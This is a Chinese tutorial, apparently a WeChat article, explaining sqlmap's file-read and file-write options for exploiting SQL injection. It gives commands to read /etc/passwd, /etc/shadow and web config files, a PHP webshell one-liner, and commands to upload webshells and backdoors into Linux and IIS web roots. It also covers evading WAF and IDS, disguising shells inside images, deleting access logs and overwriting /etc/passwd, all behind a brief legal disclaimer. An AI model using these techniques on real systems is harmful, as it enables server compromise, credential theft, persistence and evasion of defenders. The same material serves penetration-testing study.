免责声明
本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!
File system access:访问文件系统
- --file-read:用于从数据库服务器文件系统读取文件的核心参数,适用于具备文件读取权限的 SQL 注入场景
-
🔍文件读取机制:当目标数据库用户具备 DBA 权限(通过 --is-dba 验证)且数据库类型支持文件操作(如 MySQL、PostgreSQL、SQL Server)时,此参数可直接读取服务器文件系统上的指定文件 -
💡典型用途:
- 读取敏感配置文件(如 /etc/passwd、web.config)
- 获取数据库备份文件(.sql、.bak)或日志文件
-
📌依赖条件:
- 高权限账户:需通过 --is-dba 确认当前用户为管理员权限
- 绝对路径已知:必须提供目标文件的完整物理路径(如 Linux 的 /var/www/config.ini 或 Windows 的 C:Windowssystem.ini)
-
⚡典型用法:
- 基础语法:sqlmap -u <目标URL> --file-read=<文件绝对路径> [其他参数]
- 常用场景与命令:
场景 |
命令示例 |
作用 |
读取 Linux 系统文件 |
sqlmap -u "http://1.1.1.1/vuln?id=1" --file-read="/etc/passwd" |
获取用户账户信息 |
读取 Web 配置文件 |
sqlmap -u <URL> --file-read="/var/www/html/config.php" |
提取数据库连接凭证 |
结合代理隐匿流量 |
sqlmap -u <URL> --file-read="/etc/shadow" --proxy="http://127.0.0.1:8080" |
通过 BurpSuite 代理避免触发 WAF |
-
⚠注意事项:
- 权限与依赖:
- 仅限特定数据库:MySQL、PostgreSQL、SQL Server 支持;Oracle 需结合 UTL_FILE 包
- 路径准确性:路径错误会导致读取失败(可通过错误回显推测路径)
- 隐蔽性与风险:
- 易触发告警:高频文件读取易被安全设备记录,需添加 --delay=2 或 --time-sec=10 降低请求频率
- 法律合规性:未授权读取服务器文件违反《网络安全法》,仅限授权测试环境使用
- 替代方案:
- 若支持系统表查询,优先通过 SQL 语句读取(如 MySQL 的 LOAD_FILE())
- 对无文件读取权限的场景,尝试 --os-shell 执行系统命令间接获取文件内容
-
💎 总结:
- 分阶段操作:
- 预检权限:先执行 --is-dba 和 --privileges 确认权限
- 路径爆破:结合 --common-files 预置字典猜测常见路径(如 Apache 默认路径)
- 结果验证:
- 通过 --sql-query="SELECT LOAD_FILE('/path')" 验证文件可读性
- 若读取二进制文件,使用 hexdump 解析输出
- 扩展应用:
- 文件下载:成功读取后,用 --file-dest 指定本地保存路径
- 提权利用:读取 /etc/shadow 后尝试破解哈希,或读取 SSH 密钥
- ⚠️法律声明:该参数可直接访问服务器文件系统,未授权使用构成违法行为
- --file-write :用于将本地文件上传至目标服务器文件系统的高级参数,通常与 --file-dest 配合使用,适用于具备文件写入权限的 SQL 注入场景(如 MySQL、PostgreSQL 等)
-
🔍核心作用:
- 文件上传:将本地文件通过 SQL 注入漏洞写入目标服务器指定路径,常用于上传 WebShell(如 <?php system($_GET['cmd']);?>)或配置文件
- 依赖权限:
- 数据库用户需具备 FILE 权限(通过 --is-dba 验证为管理员)
- 目标路径需可写(如 Web 根目录 /var/www/html/)
- 适用数据库:MySQL、PostgreSQL、MSSQL(需开启 xp_cmdshell)
-
💡典型场景:
- 植入 WebShell:上传 PHP 木马获取服务器控制权
- 修改配置文件:覆盖 config.php 添加后门
- 数据库备份恢复:上传 .sql 备份文件并执行
-
⚡典型用法:
- 基础语法:sqlmap -u <目标URL> --file-write <本地文件路径> --file-dest <服务器目标路径> [其他参数]
- 关键参数说明:
参数 |
作用 |
示例 |
--file-write |
指定本地待上传文件路径(需绝对路径) |
--file-write "/home/kali/shell.php" |
--file-dest |
指定目标服务器写入路径(需绝对路径) |
--file-dest "/var/www/html/shell.php" |
-
⚠常见问题:
- 写入失败:空文件或权限不足
- 原因:目标目录不可写、数据库安全策略限制(如 secure_file_priv 限制路径)
- 解决:
- 检查 MySQL 配置:SHOW VARIABLES LIKE 'secure_file_priv';,若为 NULL 则需修改 my.cnf
- 改用 Web 目录(如 /tmp/ 可能受限,优先选 Web 根目录)
- WAF/IDS 拦截
- 绕过方案:
- 使用 --tamper 脚本编码 payload(如 base64encode.py)
- 添加延迟:--delay=2 降低请求频率
- 路径错误导致失败
- 定位路径:
- 通过 --os-cmd "find / -name 'index.php'" 搜索 Web 根目录
- 利用报错信息(如 Apache 错误日志路径)
-
💎总结:
- 优先选择 --os-shell:若目标支持直接命令执行(如 MSSQL 的 xp_cmdshell),优先使用
- 安全合规性:
- ⚠️法律风险:未授权上传文件违反《网络安全法》第 285 条,仅限授权测试环境使用
- 痕迹清理:操作后调用 --sql-query="DELETE FROM access_log" 删除日志
- 组合技巧:读取+修改+回写
sqlmap --file-read "/etc/passwd" --output-dir="/tmp" # 下载文件
vi /tmp/passwd # 本地修改
sqlmap --file-write "/tmp/passwd" --file-dest "/etc/passwd" # 回写
- 流程:
- --file-dest:用于指定目标服务器文件写入路径的关键参数,需与 --file-write 配合使用,实现将本地文件上传至数据库服务器文件系统
-
🔍文件写入机制:当目标数据库用户具备 DBA 权限(通过 --is-dba 验证)且数据库类型支持文件操作(如 MySQL、PostgreSQL、SQL Server)时,可通过此参数将本地文件写入服务器指定路径 -
💡典型用途:
- 上传 WebShell(如一句话木马)至 Web 目录,获取服务器控制权
- 替换配置文件或日志文件,实现权限维持或数据篡改
-
📌依赖条件:
- 高权限账户:需通过 --is-dba 确认当前用户为管理员权限
- 绝对路径已知:必须提供目标文件的完整物理路径(如 /var/www/html/shell.php 或 C:inetpubwwwrootshell.aspx)
- 目录可写:目标路径需对数据库进程可写(如 MySQL 的 secure_file_priv 设置为空或目标路径)
- ⚡典型用法:
- 基础语法:sqlmap -u <目标URL> --file-write=<本地文件路径> --file-dest=<目标服务器绝对路径>
- 典型场景示例:
场景 |
命令示例 |
作用 |
上传 WebShell 至 Linux 服务器 |
sqlmap -u "http://1.1.1.1/vuln.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php" |
将本地shell.php写入 Web 目录 |
上传后门至 Windows 服务器 |
sqlmap -u <URL> --file-write="cmd.aspx" --file-dest="C:inetpubwwwrootcmd.aspx" |
上传 ASPX 木马至 IIS 根目录 |
结合代理隐匿操作 |
sqlmap -u <URL> --file-write="backdoor.txt" --file-dest="/tmp/bd.txt" --proxy="http://127.0.0.1:8080" |
通过 BurpSuite 代理绕过 WAF/IDS 检测 |
-
⚠常见问题:
- 写入失败(空文件):
- 原因:路径错误、权限不足、secure_file_priv 限制或安全机制(如 SELinux)拦截
- 解决:
- 使用 --sql-query 验证路径可写性(如 SELECT @@secure_file_priv)
- 尝试临时关闭安全策略(如 AppArmor)或调整目录权限
- 路径猜解困难:
- 方法
- 结合 --common-files 预置字典爆破常见路径(如 /var/www、C:inetpub)
- 通过报错信息回显推测路径(如 MySQL 的 ERROR 1 (HY000))
- 替代方案:
- 若仅需执行命令 → 使用 --os-cmd 避免文件上传
- 对无写权限场景 → 尝试 --os-shell 调用系统命令间接写入文件
-
💎 总结:
- 隐蔽性优化:
- 流量混淆:添加 --delay=2 降低请求频率,或使用 --tamper 脚本(如 space2comment.py)绕过 WAF
- 文件伪装:将 WebShell 嵌入图片等非可疑文件,避免被静态检测
- 权限维持与清理:
- 上传后门后,立即通过 --sql-query="DROP FUNCTION IF EXISTS 函数名" 清理残留 UDF 函数
- 使用内存马(如 PHP 的 memfile)避免留下文件痕迹
- 法律与合规警示:
- 未经授权使用 --file-dest 上传文件违反《网络安全法》及《刑法》第 285 条(非法侵入计算机信息系统罪)
- 仅限授权测试环境使用,实战中需严格遵守渗透测试授权范围
- 操作流程:
- 权限验证 → sqlmap -u <URL> --is-dba
- 路径确认 → sqlmap -u <URL> --sql-query="SELECT @@secure_file_priv"
- 文件上传 → sqlmap -u <URL> --file-write=本地路径 --file-dest=目标绝对路径
- 结果验证 → 访问目标文件或执行 --sql-query 确认内容完整性
原文始发于微信公众号(一个努力的学渣):Sqlmap全参数讲解之第九篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论